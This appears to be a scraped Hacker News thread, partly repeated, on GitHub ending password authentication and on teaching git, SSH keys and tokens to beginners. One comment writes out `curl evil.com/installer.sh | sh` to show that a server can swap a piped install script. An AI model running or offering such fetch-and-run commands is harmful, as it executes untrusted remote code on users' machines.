16 ms·

I'm fine with this change for my usage, I don't think I've used password auth for myself or any automated service I've setup for years now. However, this will i

I'm fine with this change for my usage, I don't think I've used password auth for myself or any automated service I've setup for years now. However, this will introduce more confusion for newcomers who already have to figure out what Git, GitHub, etc are. I just spent some time last weeekend teaching someone the basics of how to create a new project. Such a simple idea required introducing the terminal, basic terminal commands, GitHub, git and its most common commands. It took about 3 hours for us to get through just the most basic pieces. Adding on ssh-keygen, key management adds even more friction. It's certainly a difficult problem. How can we offer a more gentle learning curve for budding developers while still requiring "real" projects to use best practices for security and development?

mynameisvlad 5y ago
Is there a reason one of the many git tutorials online wasn't good enough? https://docs.github.com/en/get-started/quickstart/set-up-git https://docs.github.com/en/get-started/quickstart/set-up-git https://www.atlassian.com/git/tutorials https://www.atlassian.com/git/tutorials This one's always fun: https://learngitbranching.js.org/ https://learngitbranching.js.org/ https://www.tutorialspoint.com/git/index.htm https://www.tutorialspoint.com/git/index.htm
- hiimshort 5y ago
  We're taking a 1:1 approach, but most of the time I take issue with the language used in many guides. The linked guides are good examples, they contain a whole load of terms and buzzwords you don't need to know as a beginner.
- AlexandrB 5y ago
  Let's look at the tutorial for caching git credentials, which is referenced in your first link: (https://docs.github.com/en/get-started/getting-started-with-git/caching-your-github-credentials-in-git https://docs.github.com/en/get-started/getting-started-with-...). It walks you through installing a "cask" using "brew". It doesn't mention how to install homebrew but instead directs you to the homebrew homepage which shows the output of a curl command being fed to `bash -c`. Something that's both bad practice and unintelligible unless you're quite familiar with Unix shells. If everything works as intended, you're good to go! But if anything goes wrong, or you have to update the "cask" in the future you're left with little to no context about what you just did. For someone unfamiliar with Unix shell commands, homebrew, curl, etc. this is a quagmire that can take days to unravel without someone there to help them.
  - geofft 5y ago
    Piping the output of curl to bash is not "bad practice" any more that downloading an application from your browser and clicking on it or downloading a distro CD/USB image and booting it up "bad practice." You have to trust the place where you're downloading it from, of course. But there's nothing inherently worse about /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh https://raw.githubusercontent.com/Homebrew/install/HEAD/inst...)" than burning https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-10.10.0-amd64-netinst.iso https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/de... and booting it up.
    - sethammons 5y ago
      You can actually detect from the server side if curl is being piped and dynamically change the payload.
      - geofft 5y ago
        Yes! I'm not sure how that changes what I'm saying. If you don't trust the server, it can give you a malicious ISO, too. Or are you saying that you audit the bits of the ISO yourself before burning it?
      - throwaway2037 5y ago
        Woah. How? Assume scrubber request headers.
        namibj 5y ago
        latency/buffer size/stalling effects. It's the difference between `curl evil.com/installer.sh | sh` and `curl evil.com/installer.sh | cat > installer.sh`.
    - bombela 5y ago
      Why the downvotes on the parent? It's literally the same thing: running random code from the internet on your computer!
ysavir 5y ago
Are you teaching a junior at work? What's the context?
- hiimshort 5y ago
  In this case it is a younger college student who's interested in web development but hasn't done any CS learning and isn't generally familiar with tech.
  - tcoff91 5y ago
    Does someone who just wants to experiment with a little bit of web-dev really need to have version control right away? Seems a bit out of scope. That seems like a concept that can wait a few months while they actually just explore writing some code first.
    - funtime 5y ago
      or start with svn or something simpler to get the basics of source control.
      - WorldMaker 5y ago
        SVN was the reason most people when I was in college didn't use source control at all. It was painful to install on Windows. There weren't good hosts for it. (CSV at least had bad old SourceForge.) Once you had it installed and had settled on a host computer (and SVN needs a host), configuring your repositories in it was a whole new mess. SVN is definitely not "simpler". With git you can install and git init anywhere and go you have source control. Moving commits to another machine gets us into the complications way above of learning GitHub and tools for GitHub, but in terms of 0-60 on "start a repository so you can commit changes" it's really hard to beat.
    - mrosett 5y ago
      Totally agree on this. So many coding (or even data science) courses start with Git which is just not that important for a newbie.
bilalq 5y ago
VSCode has come a long way in making this easier for newcomers. The Remote repositories extension basically will open up a link in Github to generate the Personal Authentication token to associate with your VSCode app and that's it. https://code.visualstudio.com/blogs/2021/06/10/remote-repositories https://code.visualstudio.com/blogs/2021/06/10/remote-reposi... Combined with things like Codespaces, I can see a lot of intro classes glossing over some of what's happening under the hood. That said, I really do think that skills like learning how to use a terminal and work through the CLI are necessary for developers to grow. It's not so different from how woodworkers don't just learn how to use a chisel, but also how to sharpen and bevel the tool as well.
BeefySwain 5y ago
I also have found teaching someone how to be even marginally capable of contributing to a Github project from scratch to be a very time consuming and frustrating thing. Think, having your graphics designer able to make commits, or having someone who only wants to update docs. The worst part is the "easier" solutions are actually just footguns in disguise, as soon as they accidentally click the wrong thing and end up with a detached HEAD, a few commits ahead and behind the REMOTE, and halfway through a botched merge, you have to figure out how to bail them out of that using a GUI you've never actually used. Knowing all this, you either teach them git (high short term pain, high chance of them just giving up immediately) or you tell them to download the first result for "windows foss git gui" and pray that history won't repeat itself.
- pjc50 5y ago
  The solution that everyone actually uses until they learn the unnecessary details is "take a backup of relevant files and blow away & redownload the repo".
  - omnibrain 5y ago
    Relevant xkcd: https://xkcd.com/1597/ https://xkcd.com/1597/
    - spicybright 5y ago
      The hover text is really good for this one too: > If that doesn't fix it, git.txt contains the phone number of a friend of mine who understands git. Just wait through a few minutes of 'It's really pretty simple, just think of branches as...' and eventually you'll learn the commands that will fix everything.
  - cstrat 5y ago
    wait there is another way?
    - northwest65 5y ago
lsaferite 5y ago
Wouldn't introducing them to Github Desktop be a better first start if they are fully unfamiliar with all of the rest of the command line stuff?
outworlder 5y ago
> How can we offer a more gentle learning curve for budding developers while still requiring "real" projects to use best practices for security and development Difficult question. In the past, the solution was just not to use any of that. A bunch of files inside a random folder in your computer that were not version controlled in any way. That worked, but that's also the reason I lost most of the source code that I've written before/during university. Version control is not a simple problem. A distributed version control system, even less simple. Git has some ergonomics issues that may possibly get improved, but the fundamental problem is not trivial. We already have to learn so much to do the simplest of tasks, that removing password auth seems to not move the little much, if at all. You can certainly 'postpone' some of this learning, maybe that's one route. Back when there were "IDE wars", that would be one of the arguments ("we don't have to learn no stinkin' CLI"). Some IDEs even had their own, local, "version control". At some point you'll have to "pop open the hood" though.
- runnerup 5y ago
  > In the past, the solution was just not to use any of that. A bunch of files inside a random folder in your computer This is what my company does. Except we use git. Everyone just keeps their repo on their drive and there's no central "canonical" repository. Everyone has a personal folder in the main fileserver and they push frequently to their personal remote repo. Any time they send emails saying they've made a notable milestone, anyone curious just merges against their remote. The codebases somehow rarely (never) diverge catastrophically. Maybe because we're doing embedded work.
  - p1necone 5y ago
    What do you release from - just whatever personal repo has all the features you need? This is interesting because you're kinda using git as the fully distributed system that it's design allows for, which isn't that common.
    - runnerup 5y ago
      > What do you release from - just whatever personal repo has all the features you need? Yep - when we need to release we just kind of merge everything into a release, compile the firmware, validate it in house and then send it to our contract manufacturer in China. "Who" does that depends on whoever is free or most closely tied to that update.
young_unixer 5y ago
Teaching git & Github to someone that doesn't know how to use a terminal is like teaching calculus to someone that doesn't know how to add. Of course you won't be able to do it in a couple of hours. Most people spend years learning the things that are required to understand how git works, or at least many months if you want to learn in a fast, intensive manner.
- edflsafoiewq 5y ago
  Doesn't have anything to do with knowing the terminal or not. Before getting up and running with git just involved typing git commands. Now one of the least mysterious parts to a newb (type in your password!) involves picking an external credential store that works on your OS, and figuring out how to install it, and setting it up with your PAT, and making git talk to it. That's a long way from stuff like "now type in git add -A".
  - edgyquant 5y ago
    Wait what? I just use keys generated by ssh and copied to GitHub it was way more straight forward than the git commands themselves to work on a given repo.
- edgyquant 5y ago
  Yeah. I start using git for personal projects in 2015 and didn’t even know about git diff until last year. All I knew was how to git add, git commit, pull and push. If anything tricky happened I just copied my changes, deleted the repo and recloned. I don’t think you need to teach git beyond those few commands to people but even then I’ve been using bash since I was a kid playing with openSuse so I’d imagine there’s a lot of bash experience that made it easier for me to pick up. I can’t imagine someone who’s never typed ls will have an easy time picking it up.
- bsder 5y ago
  And yet I can teach TortoiseHg to CEOs and secretaries in less than an hour. But, hey, git is sooooo superior. </s> GitHub has done almost as much damage to version control as PowerPoint has done damage to presentations.
brtknr 5y ago
Fifficult indeed
chrisshroba 5y ago
Just so folks know, you can still use personal access tokens, which basically work as per-application passwords. For someone just getting started with git, I'd recommend they go to https://github.com/settings/tokens https://github.com/settings/tokens, generate a token, and then they can just use that as their password when running `git clone`. This will certainly be a little more difficult for newcomers, and not very discoverable, but it is there.
- Wowfunhappy 5y ago
  Right, but this is also what makes me skeptical of the whole thing. I now have a Personal Access Token saved in my password manager. When I’m in a disposable VM, and git asks for a password (because it’s a fresh, disposable VM), I copy the personal access token out of my password manager, instead of copying my Github password out of my password manager. Okay, no big deal, I just have to spend an extra second searching for the copy password icon, since it’s not in the same place as every other account password—but did this really improve my security at all? It’s just a different password.
  - RussianCow 5y ago
    Presumably, the token is stronger than the passwords most people are using.
    - foota 5y ago
      They can also be revoked more easily.
    - deleted 5y ago
      [deleted]
    - xur17 5y ago
      Bingo. Not having to deal with the horrible passwords like to use is huge.
    - deleted 5y ago
      [deleted]
jareklupinski 5y ago
We just have to normalize it. Passwords were useful until better alternatives were available, and are around now to satisfy authentication based on 'something you know'. As long as the necessity is to verify something you know or something you have, a private key can be more convenient. People who prefer to enter through doors by entering a PIN instead of using a metal key will disagree. The thing left to do is make maintaining this private key as frictionless as adding a metal key to my IRL keychain. The kids may have some good ideas :)
- overgard 5y ago
  Pins are probably more secure than most metal keys (most locks are pickable < a minute)
Animats 5y ago
Setting up this authentication is a huge pain. First, the Github site lies to you. It tells me that, having previously generated a token, that token has never been used. It's been in use for months on one machine. Their web site and their repository system are not talking to each other. Then they want you to generate a new token, in the "new format". Then they refuse to generate a token valid for more than a year. With a dark pattern where you push the "generate" button, but nothing happens. Then comes dealing with Git itself. If you have a credential store file, there's no obvious way to log out of Git so that you get prompted for the new "authentication token". So I had to find out where it stores that data and delete the file. Then I could log back in with the new "authentication token". The documentation is written assuming you are using Git for the first time, not, as is more likely, updating an existing set of repositories. (Why do I suspect that, at some point in the future, we will see "Log in with your Microsoft account?")
- spydum 5y ago
  to be fair ms azure has a nice login experience for their cli tool (imho anyways).
  - Animats 5y ago
    Of course. Embrace, engulf, devour.
tomrod 5y ago
Github Desktop I've found to be an excellent way to get people into git generally. Those with proclivities to GUI get what the need, those that like to explore have some initial guardrails.
- petepete 5y ago
  I've been training some non-technical folks at work to make content changes (mainly markdown) and GitHub Desktop is fantastic. We start in the browser using the built-in editing functionality and build a PR, then when they're familiar with that we progress to GitHub Desktop and VS Code. Worked really well so far, planning on trying both Codespaces and the `.` editor next.
benatkin 5y ago
It won't always add more confusion. Some non-developers are familiar with security. For them, they might be glad to see they aren't typing their password into a program, just like they know they shouldn't be entering their password to get twitter stats.
WorldMaker 5y ago
Most modern credential managers for git understand GitHub logins. If you copy and paste the HTTPS address for a GitHub repo (rather than the git ssh git: address) a git credential manager will give you a GitHub login dialog (classic username/password dialog with optional 2FA check) and then do the dance for you to get (and securely cache) an access token for you. No SSH key management required and the flow still feels similar (you type your username and password into the web browser wrapped as a dialog box with the GitHub logo and address). Git for Windows and most Linux distributions of git today include such a credential manager out of the box. Generally the only thing that needs to change to move to that workflow is adjust the muscle memory to grab HTTPS addresses, not git: addresses. (Which shouldn't be an issue for new people learning it for the first time, and GitHub's own UI has worked to get better at pushing the HTTPS links first.) ETA: A link for the main tool that provides this user flow: https://github.com/microsoft/Git-Credential-Manager-Core https://github.com/microsoft/Git-Credential-Manager-Core
PascLeRasc 5y ago
Github has a really great guide for getting started here: https://docs.github.com/en/github/authenticating-to-github/connecting-to-github-with-ssh https://docs.github.com/en/github/authenticating-to-github/c... It probably feels really unnecessary to newcomers though. I haven’t used Github Desktop in a long time but I feel like this would be perfect for a Git client to handle. It’ll fill in the “it’s just like Dropbox but for code” mental space.
morpheuskafka 5y ago
GitHub Desktop, since being rewritten whenever the last time was, is pretty decent and I just have people install that to initially clone the project and set up the remotes and then they can still use the command line or IDE to make commits and pushes if they want.
- pier25 5y ago
  This. It also has an undo button to undo the last commit which has saved my ass a couple of times.
  - berdon 5y ago
    You could just use ‘git undo’ or ‘git reset —-soft HEAD~1’.
    - javajosh 5y ago
      Isn't "git undo" a very recent invention? In my experience, people don't upgrade git very often. As for your other comment, see the xkcd reference elsewhere in this thread :)
- milofeynman 5y ago
  I'm starting to forget normal git workflow because GitHub for windows is so damn good. It's a great user experience and they've even added some great features recently like rebasing into dev.
brundolf 5y ago
The GitHub CLI could present an option to automatically call ssh-keygen and add the key to your account when you sign in from a device that doesn't have keys yet
buck4roo 5y ago
For the love of humanity, pick a better tool to teach: Mercurial. Even teaching SVN would be easier. Both interop with github just fine. Anything but git. Git was definitely not designed for ease-of-use. Only Linus and friends need or use 90% of git's features.
- Noumenon72 5y ago
  I feel that PyCharm's Git client is just as graphical/easy to use as TortoiseHg was. Version control shouldn't need the command line, it should all be pretty trees. That's the only thing I really preferred about Mercurial. I liked mq patches, but PyCharm's shelf beats the pants off them.
- gmueckl 5y ago
  All this git cargo culting among software developers isn't helping. The state of version control hasn't progressed in over a decade when there is clearly room for lots of meaningful improvements. I am not even sure whether git is effectively a regression in disguise.
csmpltn 5y ago
> "Such a simple idea required introducing the terminal, basic terminal commands, GitHub, git and its most common commands. It took about 3 hours for us to get through just the most basic pieces." I don't get this. "Can you imagine? Learning to program a computer took us some hours!" What do you expect? That people without prior knowledge or experience just pick up source control in seconds? I'm honestly wondering - what makes you think source control systems are so trivial? Is it really too much to ask a newcomer to invest some hours into learning something these days?
- caslon 5y ago
  ...they are so trivial that they can be figured out in less than three hours. Mercurial can be learned in minutes. Fossil in half an hour. Even git isn't particularly difficult; you can get "working knowledge" of it by glancing at this: https://git-send-email.io https://git-send-email.io
  - Clewza313 5y ago
    You can learn Mercurial in three minutes if you have a background in command line administration and source control. But in a past life I have on several occasions found myself trying to train enterprises on how to use basic source control (as opposed to, say, SSHing into production systems manually and cp config.xml config.xml.bak), and failing to get the message through.
- yunohn 5y ago
  > what makes you think source control systems are so trivial? The commenter is referring to the tooling around git, wasting valuable teaching time. For example, most people will only ever have one ssh key on their device. Having to setup the keyring, and keeping aware of its nuances, is a waste of time.
- moss2 5y ago
  You're right. A subject being difficult to master means we should do everything we can to make it difficult to learn too.
toastal 5y ago
Why are we always teaching Git in the context of GitHub though? There HSA to be a simpler, more platform agnostic way.
- echohack5 5y ago
  Warning, snarky opinion ahead: because git has terrible cli operations that only make sense to people who under reflog and rebase and the underpinnings of git as opposed to any sort of file-based operations, which is how most people understand computers. Github looks and behaves like a filesystem with a timeline, which is not accurate to how git works functionally, but that's what makes sense to most people out of the box
  - toastal 5y ago
    Sure, but churning out students on a singular, closed-source, megacorp-owned platform isn't the right thing to do either.
- hiimshort 5y ago
  This is a great question and one that I have been asking for quite some time. Many tutorials and guides make the mistake of conflating git with GitHub to the point that many new learners think GitHub is git. When I teach git, I make it very clear that GitHub is one of many services you could use. For our purposes, we're using it because GitHub is quite popular and is a familiar place to look when interviewing with a potential employer. But I stress that there are other options (eg. I host my own instance of Gitea).
cush 5y ago
> How can we offer a more gentle learning curve for budding developers while still requiring "real" projects to use best practices for security and development? Use literally any GUI. Alternatively, press '.'
raxxorrax 5y ago
I think shutting down password auth is a mistake, especially if you look at MS services and where they stand now. Authenticating against their Graph API is such a hassle that we just skipped its inclusion in some of our projects because we just don't have the dev time available for allocation. While it is fine to require better auth, it should be in the hands of users. Otherwise adoption is severely endangered. That said, Github is an extremely juicy target for someone trying to inject code in a lot of codebases without anyone noticing. So popular repos should certainly make use of it.
dheera 5y ago
What can we do? Automate all of it in a nice interface that does everything for you. Make it as easy as certbot is now. Something like this, perhaps? $ git add-ssh-key github.com Checking for ssh key ... not found Generating ssh key for you (ssh-keygen -t rsa)... done Enter username for github.com: alberteinstein Enter account password for alberteinstein@github.com: ********** Touch your Yubikey now: <beep> Uploading public key ... done Welcome to Github! $ git clone git@github.com:username/someprivaterepo
tialaramex 5y ago
You're not going to be able to avoid that ssh-keygen step. "Pick a huge random number, this is a private key, you must never tell anybody else this key" is a fundamental operation. If they've never done this operation, that's more telling us how bad a job we did securing everything else than a problem with software development. If the argument was, "But my users all have perfectly nice long term private keys for some other system" then we could leverage that to get keys to make GitHub work, but in reality that's not the case. SSH keys are likely the most common private key† full stop even though they're only needed to do the 21st century equivalent of telnet † For people anyway, for machines Let's Encrypt means there are an eye-watering number of new private keys minted each day by Certbot and similar tools.
resonious 5y ago
Part of me wants to ask, why even use GitHub if you're struggling with "projects" and "ssh keys"? Just write code and run it on your machine. You can even just use git on your own machine without GitHub. BUT, at the same time, I agree with you that the process of getting set up with GitHub is suboptimal. Have you used Heroku with git before? You run "heroku login" in the console, which then opens your browser. You sign in on the browser like normal and then the CLI magically knows who you are. You can then push and pull from heroku remotes with 0 friction. Maybe the GitHub CLI could/does have a feature like that.
erfgh 5y ago
Why do we need a more gentle learning curve? Let them figure it out as everyone else did. There's more than enough information online.
- hiimshort 5y ago
  Development doesn't have tk be hard or confusing. A large amount of the complexity that is introduced is wholly unnecessary. Why wouldn't we want to make it easier for people to learn things?
dragonwriter 5y ago
> How can we offer a more gentle learning curve for budding developers while still requiring "real" projects to use best practices for security and development? Those aren't goals that are in tension, but rather have pretty similar solutions.. The way for real projects to consistently follow the appropriate set of best practices applicable to their specific use case is for the project team to (1) identify what the appropriate practices are, (2) define workflows around them, and (3) build (or adopt existing, if available) tooling that wraps low level plumbing to implement the project workflows. The way to offer a more gentle learning curve for budding developers is to...leave learning the details of low-level infrastructure tools for later, and to use workflow tools adapted for the project they are working on (whether its a real project or something one that is strictly pedagogical.)
WhyNotHugo 5y ago
I don't think newcomers use this anyway; usually you start off setting up git with ssh key-based authentication, not password-based. That's exactly why git is a bit of a pain to initially set up.

mynameisvlad 5y ago

Is there a reason one of the many git tutorials online wasn't good enough? https://docs.github.com/en/get-started/quickstart/set-up-git https://docs.github.com/en/get-started/quickstart/set-up-git https://www.atlassian.com/git/tutorials https://www.atlassian.com/git/tutorials This one's always fun: https://learngitbranching.js.org/ https://learngitbranching.js.org/ https://www.tutorialspoint.com/git/index.htm https://www.tutorialspoint.com/git/index.htm

hiimshort 5y ago
We're taking a 1:1 approach, but most of the time I take issue with the language used in many guides. The linked guides are good examples, they contain a whole load of terms and buzzwords you don't need to know as a beginner.
AlexandrB 5y ago
Let's look at the tutorial for caching git credentials, which is referenced in your first link: (https://docs.github.com/en/get-started/getting-started-with-git/caching-your-github-credentials-in-git https://docs.github.com/en/get-started/getting-started-with-...). It walks you through installing a "cask" using "brew". It doesn't mention how to install homebrew but instead directs you to the homebrew homepage which shows the output of a curl command being fed to `bash -c`. Something that's both bad practice and unintelligible unless you're quite familiar with Unix shells. If everything works as intended, you're good to go! But if anything goes wrong, or you have to update the "cask" in the future you're left with little to no context about what you just did. For someone unfamiliar with Unix shell commands, homebrew, curl, etc. this is a quagmire that can take days to unravel without someone there to help them.
- geofft 5y ago
  Piping the output of curl to bash is not "bad practice" any more that downloading an application from your browser and clicking on it or downloading a distro CD/USB image and booting it up "bad practice." You have to trust the place where you're downloading it from, of course. But there's nothing inherently worse about /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh https://raw.githubusercontent.com/Homebrew/install/HEAD/inst...)" than burning https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-10.10.0-amd64-netinst.iso https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/de... and booting it up.
  - sethammons 5y ago
    You can actually detect from the server side if curl is being piped and dynamically change the payload.
    - geofft 5y ago
      Yes! I'm not sure how that changes what I'm saying. If you don't trust the server, it can give you a malicious ISO, too. Or are you saying that you audit the bits of the ISO yourself before burning it?
    - throwaway2037 5y ago
      Woah. How? Assume scrubber request headers.
      - namibj 5y ago
        latency/buffer size/stalling effects. It's the difference between `curl evil.com/installer.sh | sh` and `curl evil.com/installer.sh | cat > installer.sh`.
  - bombela 5y ago
    Why the downvotes on the parent? It's literally the same thing: running random code from the internet on your computer!

ysavir 5y ago

Are you teaching a junior at work? What's the context?

hiimshort 5y ago
In this case it is a younger college student who's interested in web development but hasn't done any CS learning and isn't generally familiar with tech.
- tcoff91 5y ago
  Does someone who just wants to experiment with a little bit of web-dev really need to have version control right away? Seems a bit out of scope. That seems like a concept that can wait a few months while they actually just explore writing some code first.
  - funtime 5y ago
    or start with svn or something simpler to get the basics of source control.
    - WorldMaker 5y ago
      SVN was the reason most people when I was in college didn't use source control at all. It was painful to install on Windows. There weren't good hosts for it. (CSV at least had bad old SourceForge.) Once you had it installed and had settled on a host computer (and SVN needs a host), configuring your repositories in it was a whole new mess. SVN is definitely not "simpler". With git you can install and git init anywhere and go you have source control. Moving commits to another machine gets us into the complications way above of learning GitHub and tools for GitHub, but in terms of 0-60 on "start a repository so you can commit changes" it's really hard to beat.
  - mrosett 5y ago
    Totally agree on this. So many coding (or even data science) courses start with Git which is just not that important for a newbie.

bilalq 5y ago

VSCode has come a long way in making this easier for newcomers. The Remote repositories extension basically will open up a link in Github to generate the Personal Authentication token to associate with your VSCode app and that's it. https://code.visualstudio.com/blogs/2021/06/10/remote-repositories https://code.visualstudio.com/blogs/2021/06/10/remote-reposi... Combined with things like Codespaces, I can see a lot of intro classes glossing over some of what's happening under the hood. That said, I really do think that skills like learning how to use a terminal and work through the CLI are necessary for developers to grow. It's not so different from how woodworkers don't just learn how to use a chisel, but also how to sharpen and bevel the tool as well.

BeefySwain 5y ago

I also have found teaching someone how to be even marginally capable of contributing to a Github project from scratch to be a very time consuming and frustrating thing. Think, having your graphics designer able to make commits, or having someone who only wants to update docs. The worst part is the "easier" solutions are actually just footguns in disguise, as soon as they accidentally click the wrong thing and end up with a detached HEAD, a few commits ahead and behind the REMOTE, and halfway through a botched merge, you have to figure out how to bail them out of that using a GUI you've never actually used. Knowing all this, you either teach them git (high short term pain, high chance of them just giving up immediately) or you tell them to download the first result for "windows foss git gui" and pray that history won't repeat itself.

pjc50 5y ago
The solution that everyone actually uses until they learn the unnecessary details is "take a backup of relevant files and blow away & redownload the repo".
- omnibrain 5y ago
  Relevant xkcd: https://xkcd.com/1597/ https://xkcd.com/1597/
  - spicybright 5y ago
    The hover text is really good for this one too: > If that doesn't fix it, git.txt contains the phone number of a friend of mine who understands git. Just wait through a few minutes of 'It's really pretty simple, just think of branches as...' and eventually you'll learn the commands that will fix everything.
- cstrat 5y ago
  wait there is another way?
  - northwest65 5y ago

lsaferite 5y ago

Wouldn't introducing them to Github Desktop be a better first start if they are fully unfamiliar with all of the rest of the command line stuff?

outworlder 5y ago

> How can we offer a more gentle learning curve for budding developers while still requiring "real" projects to use best practices for security and development Difficult question. In the past, the solution was just not to use any of that. A bunch of files inside a random folder in your computer that were not version controlled in any way. That worked, but that's also the reason I lost most of the source code that I've written before/during university. Version control is not a simple problem. A distributed version control system, even less simple. Git has some ergonomics issues that may possibly get improved, but the fundamental problem is not trivial. We already have to learn so much to do the simplest of tasks, that removing password auth seems to not move the little much, if at all. You can certainly 'postpone' some of this learning, maybe that's one route. Back when there were "IDE wars", that would be one of the arguments ("we don't have to learn no stinkin' CLI"). Some IDEs even had their own, local, "version control". At some point you'll have to "pop open the hood" though.

runnerup 5y ago
> In the past, the solution was just not to use any of that. A bunch of files inside a random folder in your computer This is what my company does. Except we use git. Everyone just keeps their repo on their drive and there's no central "canonical" repository. Everyone has a personal folder in the main fileserver and they push frequently to their personal remote repo. Any time they send emails saying they've made a notable milestone, anyone curious just merges against their remote. The codebases somehow rarely (never) diverge catastrophically. Maybe because we're doing embedded work.
- p1necone 5y ago
  What do you release from - just whatever personal repo has all the features you need? This is interesting because you're kinda using git as the fully distributed system that it's design allows for, which isn't that common.
  - runnerup 5y ago
    > What do you release from - just whatever personal repo has all the features you need? Yep - when we need to release we just kind of merge everything into a release, compile the firmware, validate it in house and then send it to our contract manufacturer in China. "Who" does that depends on whoever is free or most closely tied to that update.

young_unixer 5y ago

Teaching git & Github to someone that doesn't know how to use a terminal is like teaching calculus to someone that doesn't know how to add. Of course you won't be able to do it in a couple of hours. Most people spend years learning the things that are required to understand how git works, or at least many months if you want to learn in a fast, intensive manner.

edflsafoiewq 5y ago
Doesn't have anything to do with knowing the terminal or not. Before getting up and running with git just involved typing git commands. Now one of the least mysterious parts to a newb (type in your password!) involves picking an external credential store that works on your OS, and figuring out how to install it, and setting it up with your PAT, and making git talk to it. That's a long way from stuff like "now type in git add -A".
- edgyquant 5y ago
  Wait what? I just use keys generated by ssh and copied to GitHub it was way more straight forward than the git commands themselves to work on a given repo.
edgyquant 5y ago
Yeah. I start using git for personal projects in 2015 and didn’t even know about git diff until last year. All I knew was how to git add, git commit, pull and push. If anything tricky happened I just copied my changes, deleted the repo and recloned. I don’t think you need to teach git beyond those few commands to people but even then I’ve been using bash since I was a kid playing with openSuse so I’d imagine there’s a lot of bash experience that made it easier for me to pick up. I can’t imagine someone who’s never typed ls will have an easy time picking it up.
bsder 5y ago
And yet I can teach TortoiseHg to CEOs and secretaries in less than an hour. But, hey, git is sooooo superior. </s> GitHub has done almost as much damage to version control as PowerPoint has done damage to presentations.

brtknr 5y ago

Fifficult indeed

chrisshroba 5y ago

Just so folks know, you can still use personal access tokens, which basically work as per-application passwords. For someone just getting started with git, I'd recommend they go to https://github.com/settings/tokens https://github.com/settings/tokens, generate a token, and then they can just use that as their password when running `git clone`. This will certainly be a little more difficult for newcomers, and not very discoverable, but it is there.

Wowfunhappy 5y ago
Right, but this is also what makes me skeptical of the whole thing. I now have a Personal Access Token saved in my password manager. When I’m in a disposable VM, and git asks for a password (because it’s a fresh, disposable VM), I copy the personal access token out of my password manager, instead of copying my Github password out of my password manager. Okay, no big deal, I just have to spend an extra second searching for the copy password icon, since it’s not in the same place as every other account password—but did this really improve my security at all? It’s just a different password.
- RussianCow 5y ago
  Presumably, the token is stronger than the passwords most people are using.
  - foota 5y ago
    They can also be revoked more easily.
  - deleted 5y ago
    [deleted]
  - xur17 5y ago
    Bingo. Not having to deal with the horrible passwords like to use is huge.
  - deleted 5y ago
    [deleted]

jareklupinski 5y ago

We just have to normalize it. Passwords were useful until better alternatives were available, and are around now to satisfy authentication based on 'something you know'. As long as the necessity is to verify something you know or something you have, a private key can be more convenient. People who prefer to enter through doors by entering a PIN instead of using a metal key will disagree. The thing left to do is make maintaining this private key as frictionless as adding a metal key to my IRL keychain. The kids may have some good ideas :)

overgard 5y ago
Pins are probably more secure than most metal keys (most locks are pickable < a minute)

Animats 5y ago

Setting up this authentication is a huge pain. First, the Github site lies to you. It tells me that, having previously generated a token, that token has never been used. It's been in use for months on one machine. Their web site and their repository system are not talking to each other. Then they want you to generate a new token, in the "new format". Then they refuse to generate a token valid for more than a year. With a dark pattern where you push the "generate" button, but nothing happens. Then comes dealing with Git itself. If you have a credential store file, there's no obvious way to log out of Git so that you get prompted for the new "authentication token". So I had to find out where it stores that data and delete the file. Then I could log back in with the new "authentication token". The documentation is written assuming you are using Git for the first time, not, as is more likely, updating an existing set of repositories. (Why do I suspect that, at some point in the future, we will see "Log in with your Microsoft account?")

spydum 5y ago
to be fair ms azure has a nice login experience for their cli tool (imho anyways).
- Animats 5y ago
  Of course. Embrace, engulf, devour.

tomrod 5y ago

Github Desktop I've found to be an excellent way to get people into git generally. Those with proclivities to GUI get what the need, those that like to explore have some initial guardrails.

petepete 5y ago
I've been training some non-technical folks at work to make content changes (mainly markdown) and GitHub Desktop is fantastic. We start in the browser using the built-in editing functionality and build a PR, then when they're familiar with that we progress to GitHub Desktop and VS Code. Worked really well so far, planning on trying both Codespaces and the `.` editor next.

benatkin 5y ago

It won't always add more confusion. Some non-developers are familiar with security. For them, they might be glad to see they aren't typing their password into a program, just like they know they shouldn't be entering their password to get twitter stats.

WorldMaker 5y ago

Most modern credential managers for git understand GitHub logins. If you copy and paste the HTTPS address for a GitHub repo (rather than the git ssh git: address) a git credential manager will give you a GitHub login dialog (classic username/password dialog with optional 2FA check) and then do the dance for you to get (and securely cache) an access token for you. No SSH key management required and the flow still feels similar (you type your username and password into the web browser wrapped as a dialog box with the GitHub logo and address). Git for Windows and most Linux distributions of git today include such a credential manager out of the box. Generally the only thing that needs to change to move to that workflow is adjust the muscle memory to grab HTTPS addresses, not git: addresses. (Which shouldn't be an issue for new people learning it for the first time, and GitHub's own UI has worked to get better at pushing the HTTPS links first.) ETA: A link for the main tool that provides this user flow: https://github.com/microsoft/Git-Credential-Manager-Core https://github.com/microsoft/Git-Credential-Manager-Core

PascLeRasc 5y ago

Github has a really great guide for getting started here: https://docs.github.com/en/github/authenticating-to-github/connecting-to-github-with-ssh https://docs.github.com/en/github/authenticating-to-github/c... It probably feels really unnecessary to newcomers though. I haven’t used Github Desktop in a long time but I feel like this would be perfect for a Git client to handle. It’ll fill in the “it’s just like Dropbox but for code” mental space.

morpheuskafka 5y ago

GitHub Desktop, since being rewritten whenever the last time was, is pretty decent and I just have people install that to initially clone the project and set up the remotes and then they can still use the command line or IDE to make commits and pushes if they want.

pier25 5y ago
This. It also has an undo button to undo the last commit which has saved my ass a couple of times.
- berdon 5y ago
  You could just use ‘git undo’ or ‘git reset —-soft HEAD~1’.
  - javajosh 5y ago
    Isn't "git undo" a very recent invention? In my experience, people don't upgrade git very often. As for your other comment, see the xkcd reference elsewhere in this thread :)
milofeynman 5y ago
I'm starting to forget normal git workflow because GitHub for windows is so damn good. It's a great user experience and they've even added some great features recently like rebasing into dev.

brundolf 5y ago

The GitHub CLI could present an option to automatically call ssh-keygen and add the key to your account when you sign in from a device that doesn't have keys yet

buck4roo 5y ago

For the love of humanity, pick a better tool to teach: Mercurial. Even teaching SVN would be easier. Both interop with github just fine. Anything but git. Git was definitely not designed for ease-of-use. Only Linus and friends need or use 90% of git's features.

Noumenon72 5y ago
